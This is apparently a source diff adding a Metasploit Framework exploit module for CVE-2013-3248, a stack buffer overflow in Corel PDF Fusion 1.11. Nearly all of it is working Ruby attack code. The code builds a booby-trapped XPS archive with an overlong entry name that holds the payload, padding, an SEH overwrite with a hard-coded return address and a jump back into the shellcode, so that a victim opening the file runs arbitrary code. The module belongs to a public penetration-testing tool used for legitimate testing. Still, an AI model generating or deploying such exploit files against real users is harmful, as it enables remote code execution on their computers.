|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | +require 'rex/zip' |
| 10 | + |
| 11 | + |
| 12 | +class Metasploit3 < Msf::Exploit::Remote |
| 13 | + Rank = NormalRanking |
| 14 | + |
| 15 | + include Msf::Exploit::FILEFORMAT |
| 16 | + include Msf::Exploit::Remote::Seh |
| 17 | + |
| 18 | + def initialize(info = {}) |
| 19 | + super(update_info(info, |
| 20 | + 'Name' => 'Corel PDF Fusion Stack Buffer Overflow', |
| 21 | + 'Description' => %q{ |
| 22 | + This module exploits a stack-based buffer overflow vulnerability in version 1.11 of |
| 23 | + Corel PDF Fusion. The vulnerability exists while handling a XPS file with long entry |
| 24 | + names. In order for the payload to be executed, an attacker must convince the target |
| 25 | + user to open a specially crafted XPS file with Corel PDF Fusion. By doing so, the |
| 26 | + attacker can execute arbitrary code as the target user. |
| 27 | + }, |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Kaveh Ghaemmaghami', # Vulnerability discovery |
| 32 | + 'juan vazquez' # Metasploit module |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'CVE', '2013-3248' ], |
| 37 | + [ 'OSVDB', '94933' ], |
| 38 | + [ 'BID', '61010' ], |
| 39 | + [ 'URL', 'http://secunia.com/advisories/52707/' ] |
| 40 | + ], |
| 41 | + 'Platform' => [ 'win' ], |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + 'DisableNops' => true, |
| 45 | + 'Space' => 4000 |
| 46 | + }, |
| 47 | + 'Targets' => |
| 48 | + [ |
| 49 | + # Corel PDF Fusion 1.11 (build 2012/04/25:21:00:00) |
| 50 | + # CorelFusion.exe 2.6.2.0 |
| 51 | + # ret from unicode.nls # call dword ptr ss:[ebp+0x30] # tested over Windows XP SP3 updates |
| 52 | + [ 'Corel PDF Fusion 1.11 / Windows XP SP3', { 'Ret' => 0x00280b0b, 'Offset' => 4640 } ] |
| 53 | + ], |
| 54 | + 'DisclosureDate' => 'Jul 08 2013', |
| 55 | + 'DefaultTarget' => 0)) |
| 56 | + |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + OptString.new('FILENAME', [ true, 'The output file name.', 'msf.xps']) |
| 60 | + ], self.class) |
| 61 | + |
| 62 | + end |
| 63 | + |
| 64 | + |
| 65 | + def exploit |
| 66 | + template = [ |
| 67 | + "[Content_Types].xml", |
| 68 | + "_rels/.rels", |
| 69 | + "docProps/thumbnail.jpeg", |
| 70 | + "docProps/core.xml", |
| 71 | + "FixedDocSeq.fdseq", |
| 72 | + "Documents/1/Pages/_rels/1.fpage.rels", |
| 73 | + "Documents/1/_rels/FixedDoc.fdoc.rels", |
| 74 | + "Documents/1/FixedDoc.fdoc", |
| 75 | + "Documents/1/Structure/Fragments/1.frag", |
| 76 | + "Documents/1/Structure/DocStructure.struct", |
| 77 | + "Documents/1/Pages/1.fpage", |
| 78 | + ] |
| 79 | + |
| 80 | + xps = Rex::Zip::Archive.new |
| 81 | + template.each do |k| |
| 82 | + xps.add_file(k, rand_text_alpha(10 + rand(20))) |
| 83 | + end |
| 84 | + |
| 85 | + resources_length = "Resources/".length |
| 86 | + sploit = "Resources/" |
| 87 | + sploit << payload.encoded |
| 88 | + sploit << rand_text(target['Offset'] - sploit.length) |
| 89 | + sploit << generate_seh_record(target.ret) |
| 90 | + sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-#{target['Offset'] + 8 - resources_length}").encode_string # 8 => seh_record length |
| 91 | + sploit << rand_text(1500) # Trigger exception |
| 92 | + |
| 93 | + xps.add_file(sploit, rand_text_alpha(10 + rand(20))) |
| 94 | + |
| 95 | + print_status("Creating '#{datastore['FILENAME']}' file...") |
| 96 | + file_create(xps.pack) |
| 97 | + end |
| 98 | + |
| 99 | +end |
0 commit comments